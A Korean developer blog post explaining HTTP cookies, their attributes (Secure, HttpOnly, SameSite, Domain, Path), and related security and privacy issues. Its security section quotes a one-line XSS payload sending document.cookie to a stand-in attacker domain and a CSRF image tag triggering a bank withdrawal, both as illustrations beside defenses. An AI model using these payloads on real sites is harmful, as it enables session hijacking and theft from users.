쿠키(Cookie)

Seo·2020년 4월 28일
4

Front-End

목록 보기
5/21

머릿말

HTTP Connectionless, Stateless 특징이 있다. 이러한 특성들을 보완하기 위한 기술 중 쿠키와 세션이 있다. 그 중에 쿠키를 알아보고자 한다.

쿠키(Cookie)

사용자가 어떠한 웹 사이트를 방문할 경우 그 사이트가 사용하고 있는 서버를 통해 인터넷 사용자의 컴퓨터에 설치되는 작은 기록 정보 파일을 일컫는다. HTTP 쿠키, 웹 쿠키, 브라우저 쿠키라고도 한다.

쿠키는 소프트웨어가 아니다. 쿠키는 컴퓨터내에서 프로그램처럼 실행될 수 없으며 바이러스를 옮길 수도, 악성코드를 설치할 수도 없다. 하지만 스파이웨어를 통해 유저의 브라우징 행동을 추적하는데에 사용될 수 있고, 누군가의 쿠키를 훔쳐서 해당 사용자의 웹 계정 접근권한을 획득할 수도 있다.

배경

"쿠키"라는 용어는 웹 브라우저 프로그래머 루 몬툴리가 만들어냈다. 이는 유닉스 프로그래머들이 사용한, 프로그램이 수신 후 변경하지 않은 채로 반환하는 데이터의 패킷을 의미하는 매직 쿠키라는 용어에서 비롯된 것이다.

사용 목적

  1. 세션 관리(Session management)
    서버에 저장해야 할 로그인, 장바구니, 게임 스코어 등의 정보 관리
  2. 개인화(Personaliztion)
    사용자 선호, 테마 등의 세팅
  3. 트래킹(Tracking)
    사용자 행동을 기록하고 분석하는 용도

쿠키를 사용하는 게 데이터를 클라이언트 측에 저장할 수 있는 유일한 방법이었을 때는 이 방법이 타당했지만, 지금은 modern storage APIs를 사용해 정보를 저장하는 걸 권장한다.
모든 요청마다 쿠키가 함께 전송되기 때문에, (특히 mobile data connections에서) 성능이 떨어지는 원인이 될 수 있다. 정보를 클라이언트 측에 저장하려면 Modern APIs의 종류인 웹 스토리지 API (localStorage와 sessionStorage) 와 IndexedDB를 사용하면 된다.

사용 과정

  1. HTTP 요청을 수신할 때, 서버는 응답과 함께 Set-Cookie 헤더를 전송
  2. 쿠키는 보통 브라우저에 의해 저장되며, 그 후 쿠키는 같은 서버에 의해 만들어진 요청(Request)들의 Cookie HTTP 헤더안에 포함되어 전송
  3. 만료일 혹은 지속시간(duration)도 명시될 수 있고, 만료된 쿠키는 더이상 보내지지 않는다
  4. 추가적으로, 특정 도메인 혹은 경로 제한을 설정할 수 있으며 이는 쿠키가 보내지는 것을 제한할 수 있다.

// node.js
response.setHeader('Content-Type', 'text/html');

name : yummy_cookie, value : choco로 쿠키를 셋팅
name : tasty_cookie, value : strawberry로 쿠키를 셋팅

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

Cookie 헤더를 담은 Request

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
  • 세션 쿠키 : 위와 같이 생성하는 쿠키
    클라이언트가 종료되면 삭제(delete)될 것이다.
    이유는 Expires 혹은 Max-Age를 명시하지 않았기 때문
    그러나 웹 브라우저는 세션 복구를 할 수 있으며, 이 기능은 브라우저가 결코 닫힌 적이 없던 것처럼 대부분의 세션 쿠키들을 영속적인 것으로 만든다.
  • 영속적인 쿠키 : 클라이언트가 닫힐 때 만료되는 대신에, 명시된 날짜(Expires)에 만료되거나 혹은 명시한 기간(Max-Age) 이후에 만료된다.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Note: When an expiry date is set, the time and date set is relative to the client the cookie is being set on, not the server.
(Expires 설정할 때, 서버 시간이 아닌 클라이언트 시간에 맞춰야한다)

  • Secure 쿠키 : HTTPS 프로토콜 상에서 암호화된(encrypted) 요청일 경우에만 전송된다. 하지만 Secure이라도 민감한 정보는 절대 쿠키에 저장해서는 안된다. 쿠키 자체 본질적으로 안전하지 않고, real protection을 제공하지 않기 때문이다.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure
  • HttpOnly 쿠키 : XSS(Cross-site 스크립팅) 공격 방지를 위한 쿠키. HttpOnly 쿠키는 JavaScript의 document.cookie API에 접근할 수 없다. 서버에게 전송되기만 한다. 예를 들어 서버에서 지속되고 있는 쿠키는 JavaScript를 사용할 필요성이 없기 때문에 HttpOnly 플래그가 설정될 것이다.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; HttpOnly
  • 쿠키 Scope
    Domain, Path 디렉토리는 쿠키의 스코프를 정의한다.
    Domain은 쿠키가 전송되게 될 호스트들을 명시한다. 만약 명시되지 않는다면, (서브 도메인 미포함)현재 문서 위치의 호스트 일부를 default로 한다. 명시된다면 서브도메인들을 항상 포함.
    예를 들어, Domain=mozilla.org 로 설정하면 쿠키는 developer.mozilla.org와 같은 서브도메인을 포함하여 전송하게 된다.
    Pathsms Cookie 헤더를 전송하기 위하여 요청되는 URL 내에 반드시 존재해야 하는 RUL 경로로 %x2F("/") 문자는 디렉티브 구분자로 해석되어 서브 디렉토리들과 잘 매치될 것이다.
    예를 들어, Path=/docs 로 설정하면 "/docs" "/docs/Web/" "/docs/Web/HTTP" 경로들은 모두 매치되어 전송될 것이다.

  • SameSite 쿠키
    쿠기가 Cross-site 요청과 함께 전송되지 않았음이라고 요구하게 만들어, CSRF(Cross Site Request Forgery)에 대해 보호 방법을 제공한다. 아직 실험 중이며 모든 브라우저에서 제공되지는 않는다.

  • JavaScript에서 사용
    새로운 쿠키를 document.cookie를 통해 만들어질 수도 있고, HttpOnly 플래그가 설정되지 않은 경우 기본 쿠키들을 접근해서 사용할 수 있다.

    document.cookie = "yummy_cookie=choco"; 
    document.cookie = "tasty_cookie=strawberry"; 
    console.log(document.cookie); 
    // logs "yummy_cookie=choco; tasty_cookie=strawberry"

보안

자바스크립트에서 이용 가능한 쿠키들은 XSS를 통해 감청될 수 가능성이 있다.

  1. 세션 하이재킹과 XSS
    쿠키는 대개 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용된다.
    그래서 쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있다. 쿠키를 가로채는 일반적인 방법은 소셜 공학 사용 혹은 애플리케이션 내 XSS 취약점을 이용하는 것을 포함한다.

    (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" 
                        + document.cookie;

    HttpOnly 자바스크립트를 통해 쿠키 값에 접근하는 것을 막아 이런 공격에 도움이 될 수 있다.

  2. Cross-site 요청 위조(CSRF)
    예를 들어, 은행 서버에 돈을 입금하는 실제 요청 하는 것이 아닌, 비슷한 화면을 위조하여 보여준다고 가정한다.

    <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

    그리고 나서 은행 계좌에 로그인하고 쿠기가 여전히 유효하다면(별다른 추가 검증 절차 없이) 해당 이미지를 포함하는 HTML을 로드하자마자 돈이 송금될 것이다.
    이러한 일을 방지 하기 위해 몇 가지 기술이 있다.
    - XSS와 마찬가지로 입력 필터링을 제공한다.
    - 모든 민감한 동작에 필수로 요구되는 확인 절차가 항상 수행되도록 한다.
    - 민감한 동작에 사용되는 쿠키는 아주 짧은 수명만 가지도록 한다.
    - 추가적인 예방 방법 팁-OW/ASP CSRF 예방 치트 시트

트래킹과 프라이버시

  1. 서드파티 쿠키
    쿠키는 그와 관련된 도메인을 가진다. 만약 현재 보고 있는 도메인과 쿠키 도메인이 동일하다면, 퍼스트파티 쿠키라고 한다. 만약 쿠키 도메인과 다르다면 서드파티 쿠키라고 한다.
    퍼스트파티 쿠키는 그것을 설정한 서버에만 전송한다.
    그러나, 그 외 웹 페이지는 다른 도메인의 서버 상에 저장된 (광고 배너와 같은) 이미지 혹은 컴포넌트를 포함할 수도 있다.
    이러한 서드파티 컴포넌트를 통해 전송되는 쿠키들을 서드파티 쿠키라고 부른다.
    주로 웹을 통한 광고와 트래킹에 주로 사용됩니다.
    대부분의 브라우저들은 기본적으로 서드파티 쿠키를 따르지만, 그것을 차단하는데 이용되는 애드온들이 있다(예를 들어, EFF이 만든 Privacy Badger이 있습니다).

  2. Do-Not-Track
    쿠키 사용에 대한 합법적이거나 기술적인 요구사항은 없지만, DNT 헤더는 웹 애플리케이션이 트래킹 혹은 개인 사용자의 cross-site 사용자 트래킹을 비활성화하는 신호로 사용될 수 있다.
    좀 더 자세한 내용은 DNT 헤더 참고

  3. EU 쿠키 디렉티브
    짧게 말하자면, EU 디렉티브는 컴퓨터, 모바일 폰 혹은 다른 기기들에서 누군가가 어떤 정보든지 저장하거나 검색하기 전에, 사용자는 그렇게 하기 위해 사전 동의해야만 한다는 내용

  4. 좀비 쿠키와 Evercookies
    쿠키에 대한 좀 더 급진적인 해결책은 삭제 이후에 다시 생성되는 좀비 쿠키 혹은 "Evercookies"이며 의도적으로 영원히 제거하는 것이 어려운 쿠키.
    그들은 쿠키가 존재 여부와 관계없이 그들 자신을 다시 만들어내기 위해 웹 스토리지 API, Flash 로컬 공유 객체 그리고 다른 기술들을 사용하고 있다.
    - Samy Kamkar의 Evercookie
    - 좀비 쿠키에 대한 위키피디아

Reference

HTTP쿠키 위키
HTTP쿠키 mdn

profile
개발관심자

0개의 댓글